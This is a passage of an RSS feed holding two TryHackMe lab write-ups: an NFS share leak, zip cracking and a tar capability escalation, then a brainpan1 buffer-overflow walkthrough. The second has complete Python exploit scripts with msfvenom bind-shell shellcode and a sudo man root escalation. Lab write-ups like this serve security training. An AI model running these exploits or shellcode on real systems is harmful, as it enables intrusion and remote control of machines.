are cool, especially when they are misconfigured It&#39;s on the standard port, no need for another scan</pre><p>nfs is indicated with rpc on port 111</p><p>from nmap scan :</p><pre>111/tcp open rpcbind syn-ack ttl 63</pre><p>$ sudo nmap -vv -sV $IP -p 111 — script=rpcinfo</p><pre>| 100003 3 2049/udp nfs <br>| 100003 3 2049/udp6 nfs <br>| 100003 3,4 2049/tcp nfs <br>| 100003 3,4 2049/tcp6 nfs</pre><p>let’s get the files now</p><pre>showmount -e $IP</pre><pre>Export list for 10.10.25.107: /home/nfs *</pre><pre>sudo mount -t nfs $IP:/home/nfs /tmp/nfs</pre><p>found backup.zip file , need password .</p><pre>zip2john backup.zip| tee hashed_nfs<br>john hashed_nfs <br># result : zxcvbnm (backup.zip)</pre><p>$ unzip -P ‘zxcvbnm’ backup.zip</p><blockquote><em>found home folder extracted , .ssh directory contains :</em></blockquote><pre>-rw-r--r-- 1 kali kali 736 Sep 15 2020 authorized_keys <br>-rw-r--r-- 1 kali kali 33 Sep 15 2020 flag.txt <br>-rw-r--r-- 1 kali kali 10 Sep 15 2020 hint.txt <br>-rw------- 1 kali kali 3369 Sep 15 2020 id_rsa <br>-rw-r--r-- 1 kali kali 736 Sep 15 2020 id_rsa.pub</pre><blockquote><em>flag : [reducted]</em></blockquote><p>we have ssh keys and can notice username hades from home directory ,However when try ssh it return the connection was reset maybe the port is not 22 ?</p><p>looping through ports 2500–4500; port 3333 return ssh banner :D</p><p>ssh -i id_rsa hades@10.10.25.107 -p 3333</p><p>found a weird shell :(</p><p>searching the error found out it a ruby shell we can execute a /bin/bash and get regular shell :</p><p><a href="https://netsec.ws/?p=337">https://netsec.ws/?p=337</a></p><blockquote><em>user :[reducted]</em></blockquote><p>hint for root : get cap</p><pre>getcap -r / 2&gt;/dev/null</pre><p>result :</p><pre>/usr/bin/mtr-packet = cap_net_raw+ep <br>/bin/tar = cap_dac_read_search+ep</pre><p>tar seems promising , you can take the /etc/shadow instead of /root/root.txt then crack the password with john to get full access at the machine but that’s enough 4 me to read the flag</p><p>using</p><pre>tar cvf flag.tar /root/root.txt <br>tar -xvf flag.tar</pre><p>now we can read our flag :D</p><blockquote><em>root : [reducted]</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d8f1489e92f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[brainpan1 | TryHackMe]]></title>
            <link>https://mesbaha.medium.com/brainpan1-tryhackme-cefcd3809583?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/cefcd3809583</guid>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Fri, 10 Sep 2021 02:56:43 GMT</pubDate>
            <atom:updated>2021-10-01T02:10:25.909Z</atom:updated>
            <content:encoded><![CDATA[<h3>brainpan1 | TryHackMe by Hussien Misbah</h3><h3><strong>Buffer overflow detailed walkthrough</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/0*w-SNc60bXppwSqnk.png" /></figure><h4>challenge description :</h4><pre>Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine.</pre><h3>target ip : 10.10.21.61</h3><h3>Reconnaissance</h3><h3>intial</h3><p>$ nmap -sV -v 10.10.21.61 -oN nmap/intial</p><pre>PORT      STATE SERVICE VERSION<br>9999/tcp  open  abyss?<br>10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)</pre><h3>Enumeration</h3><p>$ gobuster dir -u “http://10.10.21.61:10000/&quot; -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o gobuster.txt</p><pre>/bin (Status: 301) [Size: 0] [--&gt; /bin/]</pre><p>-&gt; found brainpan.exe</p><p>$ file brainpan.exe brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows</p><p>let’s continue our enumeration</p><p>$nc 10.10.21.61 9999</p><p>found a running application if we type any thing it returned wrong pass , how ever when typed</p><pre>└─$ python3 -c &quot;print(&#39;A&#39;*1000)&quot; | nc 10.10.21.61 9999</pre><p>it crashes and refuse connection next time so let’s explore this software !</p><p>so we have the application that is running on this port let’s explore it .</p><h3>Setup our Environment</h3><pre>- I have a win7 machine with Immunity debugger pre-installed and a mona.py script plugged in at the libraries of <br>the debuuger as we will need it later :)</pre><pre>the win7 can be considered the target as we are testing locally now ,and my kali machine is the attacker machine . <br>you need to know ip of both machines as we will need them alot during our walkthrough <br>in my case :<br>win7 ip : 192.168.1.8  <br>kali ip : 192.168.1.9<br>the application is running on port 9999  by default .</pre><p>open up the applicaiton in the immunity debugger and make sure it is running from down-right side</p><p>let’s write a small fuzzer script to see when it will crash :</p><p>i wrote one earlier you will find it at : <a href="https://github.com/HussienMisbah/python-projects/blob/main/fuzzer.py">https://github.com/HussienMisbah/python-projects/blob/main/fuzzer.py</a></p><p>running it :</p><p>at kali side :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/0*Wq5U4KVbwLzC4WtY.png" /></figure><p>at win 7 side :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/0*lViO4_9XK2thYKJ7.png" /></figure><p>as you can see EIP is overwritten so let’s go to exploitation</p><h3>Exploitation</h3><pre>steps:<br>1- get the offset<br>2- check bad characters<br>3- get address of jmp esp instruction<br>4- setup your shell code<br>5- exploit !</pre><p>1- get the offset $ msf-pattern_create -l 700</p><p>we will send the output of this command and get the new overwritten EIP value then search for it at the pattern to get the offset</p><pre>$ python -c &#39;print(&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1 Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af 0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah 9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak 8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An 7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq 6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw 3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A&quot;)&#39; | nc 192.168.1.8 9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*GhxTzGbP3XZtwxT1.png" /></figure><p>EIP = 35724134</p><p>$ msf-pattern_offset -l 700 -q 35724134</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/0*4xLp_jacAko35WzZ.png" /></figure><p>2- bad characters check</p><p>time to code :</p><pre>#!/bin/env python<br>import sys,socket</pre><pre>host=&quot;192.168.1.8&quot;<br>port=9999<br>offset=524</pre><pre>badchars = (&quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f&quot;<br>&quot;\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;<br>&quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f&quot;<br>&quot;\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f&quot;<br>&quot;\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f&quot;<br>&quot;\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf&quot;<br>&quot;\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf&quot;<br>&quot;\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;)</pre><pre>payload  = &quot;A&quot;*offset<br>payload += &quot;\x90&quot;*30<br>payload += badchars</pre><pre>s=socket.socket()<br>s.connect((host,port))<br>s.send(payload)<br>print(&#39;[*] payload has been sent successfully&#39;)<br>s.close()</pre><h3>note :</h3><p>before running the script any time make sure the immunity-debugger downleft side is running mode</p><p>run last script and see follow esp in dump at the debuugger:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/233/0*RmcrS5k-7ancYG3E.png" /></figure><p>as we can see all are the same chars we sent so we don’t have bad characters , however /x00 is bad because it will ignore anything after it &#39;Terminating character&#39;</p><p>3- get address of jmp esp instruction</p><p>it is easy just type !mona jmp -r esp at the bottom of the debugger</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/0*SNI9-c4yJbWF_SIW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/0*QNn1Ss1NyTdqoGYd.png" /></figure><p>address : 31 17 12 F3</p><p>we need to convert it to little endian notation as the stack is filled form right to left it will be : \xf3\x12\x17\x31</p><p>4- setup your shell code</p><p>i love to use bindshell that’s why this shell code will work with any one run my script :)</p><p>bind shell makes you connect to it</p><p>final payload should be like : “A” <em>offset + ‘jmp esp instruction’ + NOP</em>(some number maybe 20,30,.. ) + shellcode</p><p>$ msfvenom -p windows/shell_bind_tcp LPORT=4444 -f py -b &#39;\x00&#39;</p><p>take the buf out and add it at the code :</p><pre>#!/bin/env python</pre><pre>import socket,sys</pre><pre>host=&quot;192.168.1.8&quot; #change this<br>port=9999<br>offset = 524</pre><pre># 311712F3<br>EIP = &quot;\xf3\x12\x17\x31&quot;</pre><pre>buf =  b&quot;\x90&quot;*30<br>buf += b&quot;\xbe\x89\xca\xdc\x98\xdd\xc2\xd9\x74\x24\xf4\x5a\x31&quot;<br>buf += b&quot;\xc9\xb1\x53\x83\xea\xfc\x31\x72\x0e\x03\xfb\xc4\x3e&quot;<br>buf += b&quot;\x6d\x07\x30\x3c\x8e\xf7\xc1\x21\x06\x12\xf0\x61\x7c&quot;<br>buf += b&quot;\x57\xa3\x51\xf6\x35\x48\x19\x5a\xad\xdb\x6f\x73\xc2&quot;<br>buf += b&quot;\x6c\xc5\xa5\xed\x6d\x76\x95\x6c\xee\x85\xca\x4e\xcf&quot;<br>buf += b&quot;\x45\x1f\x8f\x08\xbb\xd2\xdd\xc1\xb7\x41\xf1\x66\x8d&quot;<br>buf += b&quot;\x59\x7a\x34\x03\xda\x9f\x8d\x22\xcb\x0e\x85\x7c\xcb&quot;<br>buf += b&quot;\xb1\x4a\xf5\x42\xa9\x8f\x30\x1c\x42\x7b\xce\x9f\x82&quot;<br>buf += b&quot;\xb5\x2f\x33\xeb\x79\xc2\x4d\x2c\xbd\x3d\x38\x44\xbd&quot;<br>buf += b&quot;\xc0\x3b\x93\xbf\x1e\xc9\x07\x67\xd4\x69\xe3\x99\x39&quot;<br>buf += b&quot;\xef\x60\x95\xf6\x7b\x2e\xba\x09\xaf\x45\xc6\x82\x4e&quot;<br>buf += b&quot;\x89\x4e\xd0\x74\x0d\x0a\x82\x15\x14\xf6\x65\x29\x46&quot;<br>buf += b&quot;\x59\xd9\x8f\x0d\x74\x0e\xa2\x4c\x11\xe3\x8f\x6e\xe1&quot;<br>buf += b&quot;\x6b\x87\x1d\xd3\x34\x33\x89\x5f\xbc\x9d\x4e\x9f\x97&quot;<br>buf += b&quot;\x5a\xc0\x5e\x18\x9b\xc9\xa4\x4c\xcb\x61\x0c\xed\x80&quot;<br>buf += b&quot;\x71\xb1\x38\x3c\x79\x14\x93\x23\x84\xe6\x43\xe4\x26&quot;<br>buf += b&quot;\x8f\x89\xeb\x19\xaf\xb1\x21\x32\x58\x4c\xca\x2d\xc5&quot;<br>buf += b&quot;\xd9\x2c\x27\xe5\x8f\xe7\xdf\xc7\xeb\x3f\x78\x37\xde&quot;<br>buf += b&quot;\x17\xee\x70\x08\xaf\x11\x81\x1e\x87\x85\x0a\x4d\x13&quot;<br>buf += b&quot;\xb4\x0c\x58\x33\xa1\x9b\x16\xd2\x80\x3a\x26\xff\x72&quot;<br>buf += b&quot;\xde\xb5\x64\x82\xa9\xa5\x32\xd5\xfe\x18\x4b\xb3\x12&quot;<br>buf += b&quot;\x02\xe5\xa1\xee\xd2\xce\x61\x35\x27\xd0\x68\xb8\x13&quot;<br>buf += b&quot;\xf6\x7a\x04\x9b\xb2\x2e\xd8\xca\x6c\x98\x9e\xa4\xde&quot;<br>buf += b&quot;\x72\x49\x1a\x89\x12\x0c\x50\x0a\x64\x11\xbd\xfc\x88&quot;<br>buf += b&quot;\xa0\x68\xb9\xb7\x0d\xfd\x4d\xc0\x73\x9d\xb2\x1b\x30&quot;<br>buf += b&quot;\xad\xf8\x01\x11\x26\xa5\xd0\x23\x2b\x56\x0f\x67\x52&quot;<br>buf += b&quot;\xd5\xa5\x18\xa1\xc5\xcc\x1d\xed\x41\x3d\x6c\x7e\x24&quot;<br>buf += b&quot;\x41\xc3\x7f\x6d&quot;</pre><pre>try :</pre><pre>s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #version 4 , tcp communication<br> s.connect((host,port))</pre><pre>payload  = &quot;A&quot;*offset<br> payload += EIP<br> payload += buf</pre><pre>s.send(payload)<br> print(&#39;[*]payload has been sent successfully .&#39;)<br> s.close()</pre><pre>except :</pre><pre>print(&#39;[*]connection refuesed . . .&#39;)<br> sys.exit()</pre><h3>after running script set the netcat</h3><p>5- exploit ! $nc 192.168.1.8 4444 -v</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/0*g0IRXAWt7MUQJ7o1.png" /></figure><p>now you have your shell</p><p>let’s exploit the target machine now !</p><h3>notes :</h3><pre>it is a linux x86 machine so we need to change the payload in msfvenom</pre><p>└─$ msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f py -b &#39;\x00&#39;</p><p>change buf and ip in last script</p><pre>buf =  b&quot;\x90&quot;*30<br>buf += b&quot;\xd9\xf7\xb8\x68\x38\x85\x20\xd9\x74\x24\xf4\x5d\x2b&quot;<br>buf += b&quot;\xc9\xb1\x14\x83\xed\xfc\x31\x45\x15\x03\x45\x15\x8a&quot;<br>buf += b&quot;\xcd\xb4\xfb\xbd\xcd\xe4\xb8\x12\x78\x09\xb6\x75\xcc&quot;<br>buf += b&quot;\x6b\x05\xf5\x76\x2a\xc7\x9d\x8a\xd2\xf6\x01\xe1\xc2&quot;<br>buf += b&quot;\xa9\xe9\x7c\x03\x23\x6f\x27\x09\x34\xe6\x96\x95\x86&quot;<br>buf += b&quot;\xfc\xa8\xf0\x25\x7c\x8b\x4c\xd3\xb1\x8c\x3e\x45\x23&quot;<br>buf += b&quot;\xb2\x18\xbb\x33\x85\xe1\xbb\x5b\x39\x3d\x4f\xf3\x2d&quot;<br>buf += b&quot;\x6e\xcd\x6a\xc0\xf9\xf2\x3c\x4f\x73\x15\x0c\x64\x4e&quot;<br>buf += b&quot;\x56&quot;</pre><p>run it then set your netcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*lCYz89yclWOhyDuJ.png" /></figure><h3>Privelege escalation</h3><p>(root) NOPASSWD: /home/anansi/bin/anansi_util</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/0*pONP4xq8e6-OHwor.png" /></figure><p>so we can run man as root , at <a href="https://gtfobins.github.io/gtfobins/man/#sudo">https://gtfobins.github.io/gtfobins/man/#sudo</a></p><p>let’s use it</p><p>sudo /home/anansi/bin/anansi_util manual man</p><p>!/bin/bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*YRodmUUyCvYioIcW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*XTfMEcNWBY5QDgAn.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cefcd3809583" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>